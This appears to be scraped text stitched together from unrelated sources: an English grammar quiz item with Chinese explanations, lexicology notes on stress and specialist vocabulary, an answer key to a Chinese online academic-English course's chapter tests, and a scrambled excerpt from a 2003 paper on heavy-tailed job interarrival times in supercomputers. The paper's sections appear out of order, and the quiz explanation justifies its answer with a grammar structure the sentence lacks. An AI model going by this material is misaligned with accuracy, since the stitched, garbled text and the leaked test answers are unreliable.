scanned四、语法填空题（本大题有10小题，每小题1分，共10分）1、Tom’s favorite color is blue, and it’s the color of the sky. The ocean isalso___________blue.A)very B) too C) such D) so答案：D解析：这里需要使用“so…that…”结构来表达“如此……以至于……”。

Chapter-2-Connection-with-other-branches-笔记见教材上-朱的

A ˊFrench ,teacher teaches French.
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如果我们赋予French一个次重音， teacher一个主重音，这时He is a French teacher中的French表示法国国籍：
A ,French ˊteacher is French.
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The vocabulary of a language assumes tremendous importance when it comes under the control of grammar, which is concerned with the modification in form of words and the combination of words into sentences.
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In medicine: General wound skull sweat
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Specialist laceration cranium perspiration
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感谢您的阅读收藏，谢谢！
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General
Specialist
theft burning crime
larceny arson felony
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In the fields of science:
General
Specialist
hole speed force
cavity velocity intensity
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But in the pattern,“be able to do sth.”, it can not be collocated with “very”. It can,however, collocate with the words “really, quite, perfectly, well, totally”, for example:

通用学术英语知到章节答案智慧树2023年湘潭大学

通用学术英语知到章节测试答案智慧树2023年最新湘潭大学第一章测试1.What is the title of this course? （）参考答案:English for General Academic Purposes2.What are the special purposes of ESP （）参考答案:Occupational practice.;Academic study.3.What sorts of English abilities does EGAP focus on? （）参考答案:Listening to lectures.;Doing academic presentation;Searchingliterature.;Participating academic discussion4.EGP includes vocabulary, grammar, listening, speaking, reading, writing,translation and so on（）参考答案:对5.Legal English, Engineering English, Business English and Medical Englishbelong to ESAP.（）参考答案:对第二章测试1.show-off and breakthrough are （）参考答案:Noun compounds2.For conclusion of lecture, typical signals include （）参考答案:Well, that’s more or less where things up for today.;That’s probablyabout all we’ve got time for today.3.“Entering the room, nobody was seen.” This example can be classified as（）参考答案:Dangling modifier4.How can we make our words more precise when writing? （）参考答案:By using specific examples5.The English title of《双城记》is《A Tale of Two Cites》（）参考答案:错1.Post- in postgraduate is________and micro- in microwave is_________ （）参考答案:Locative prefixes; degree prefixes2.Which of the following can both be adverb suffixes and adjective suffixes （）参考答案:-ly3.We can take high-efficiency notes through （）参考答案:Using abbreviation and symbols;Making notes precise and brief;Using a mind map or an outline4.In academic writing aspect, which of the followings are its primary principles?（）参考答案:Precision;Clarity5.Each student should develop his or her own method of taking notes. （）参考答案:对1.In academic writings, which of the following is TRUE about the usage of voiceand person?（）参考答案:Passive voice and third person are commonly used.2.Which of the following statement about essay development is TRUE?（）参考答案:Introductory paragraphs are designed to present the theme or thesis as the focus of the paper.;The body paragraphs are written forunity ,support and coherence.;A paragraph can be developed indifferent kinds of patterns3.___ is a strategy we commonly use to create an overall impression about aperson or thing.（）参考答案:Description4.As a group leader, what are you supposed to do in a discussion? （）参考答案:To and guide the theme-discussion and manage the time;To summarize the final outcome of the discussion5.Focusing too much on the children’s academic performance may lead to thedeprivation of self-efficacy. （）参考答案:对第五章测试1.Which of the following statements is TRUE about nominalization? （）参考答案:Nominalization is a process of verbs and adjectives converted to nouns or noun phrases.;Nominalization seeks a shift of focus from actions and process to concepts and ideas.2.When answering the audiences’ question after a presentation, it is advisablethat the speaker（）参考答案:Be tactical in dealing with irrelevant questions3.Which of the following statements is TRUE about the modes of analyticalstrategies?（）参考答案:Cause＆Effect is one of the most frequently used methods in scientificresearch writing to analyze the causes, effect, or sometimes both, of aphenomenon.4.“The school curriculum can be divided into the following categories: Science,Engineering course, Social science and Liberal arts.” What kind of mode dose the sentence listed above adopt?（）参考答案:Classification5.To keep mentally healthy in the long run, one needs to find physicalmovement that fills him or her with joy. （）参考答案:对。

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P.O. Box 620513 Woodside, CA 94062 USA 1 650 851 9510
sdkleba@
clearway@
ABSTRACT
We report on a model of the distribution of job submission interarrival times inห้องสมุดไป่ตู้supercomputers. Interarrival times are modeled as a consequence of a complicated set of decisions between users, the queuing algorithm, and other policies. This cascading hierarchy of decision-making processes leads to a particular kind of heavy-tailed distribution. Specifically, hierarchically constrained systems suggest that fatter tails are due to more levels coming into play in the overall decision-making process. The key contribution of this paper is that heavier tails resulting from more complex decision-making processes, that is more hierarchical levels, will lead to overall worse performance, even when the average interarrival time is the same. Finally, we offer some suggestions for how to overcome these issues and the tradeoffs involved.
Hierarchical Dynamics, Interarrival Times, and Performance
Stephen D. Kleban
Sandia National Laboratories Albuquerque, NM 87185 USA 1 505 844 0553
Scott H. Clearwater
Categories and Subject Descriptors
C.4 [Performance of performance attributes. Systems]:
modeling
techniques,
General Terms
Your general terms must be any of the following 16 designated terms: Algorithms, Measurement, Performance, Experimentation, Theory.
1. INTRODUCTION
Supercomputers represent the largest single computing resources in the world and they must perform over a staggering
Permission to make digital or hard copies of all or part of this work for personal or classroom use is granted without fee provided that copies are not made or distributed for profit or commercial advantage and that copies bear this notice and the full citation on the first page. To copy otherwise, or republish, to post on servers or to redistribute to lists, requires prior specific permission and/or a fee. SC’03, November 15-21, 2003, Phoenix, AZ, USA. Copyright 2003 ACM 1-58113-695-1/03/0011…$5.00.
machines themselves as well as the administrative constraints? Given log data from thousands of jobs over a period of several months we can examine these issues quantitatively. We shall see that the complex and ongoing dynamics of the interplay between users, the facility managers who run the queues, and the machine itself come together in a way that qualifies it with the observed heavy-tail distributions. The workflow of jobs through a supercomputer system is an ongoing and complicated cycle of phases involving submission, dispatch, running, and analysis(Fig. 1). The “Big Iron” is the supercomputer. Note the closed-loop that indicates how the discharge of completed jobs from the machine influences the input to the queues much later. Not shown are the levels of management, both local and national, that also come into play on much longer time scales. The “output” of each of these phases depends critically on the other phases. For example, the submission of a particular job at a particular time by a particular users depends on the time the user has to spend setting up the next run, the previous runs the user has to analyze, which in turn depended upon when it finished running on the machine, which depended upon when it was dispatched which depended upon the prioritization constraints imposed by the facility managers via the queuing system.
hierarchy, relaxation process, interarrival, ASCI queueing, dynamics.
Keywords
range of conditions spanning small interactive jobs to very large jobs, both in terms of the number of processors involved (in the thousands) and for long time periods (on the order of a day for a single run). Like many phenomena found in nature, the interarrival time distribution is found to be heavy-tailed. Heavytailed distributions, defined as those that drop off more slowly than an exponential, have also been reported in a number of manmade phenomena, specifically computer systems. For example, the simplistic model of exponential arrival times has been shown to be inadequate for describing wide area network traffic[18]. Some examples of heavy tail distributions in computer systems include: computer networks both in terms of their connectivity[21] and their traffic patterns[22], file systems[7], video traffic[2], and software caches[20], and the job size distributions on a single processor[8] as well as supercomputers[5]. Heavy-tail distributions have important implications for both physical and manmade systems. In particular, heavy tails indicate a significant probability of very large deviations from average or “typical” events. In the case of earthquakes it means a meaningful chance for very large and damaging events. In the case of supercomputers it means the possibility that the machine may become overloaded for significant periods of time even if the average job submission rate is moderate. Significantly, the confluence of many large jobs impinging on a supercomputer and the droughts in between that occur as a consequence of heavytailed distributions in interarrival time, can have serious consequences on the timeliness of the important work done at these facilities. Supercomputers typically have thousands of processors and perform the most sophisticated simulations on a wide variety of problems in material science, structural, and thermal dynamics. Among the most powerful supercomputers are those from the Advanced Simulation and Computing Initiative (ASCI)[1]. These machines were built for specific purposes to primarily serve a small group of users who end up dominating the cycles on the machine. Despite the extensive work in networks and single processor systems, less is known quantitatively about the scaling behavior in the largest supercomputers[5, 8]. Do they in fact follow a power law, or is there a characteristic size to the distribution, meaning that the fraction of large events is influenced by the limits of the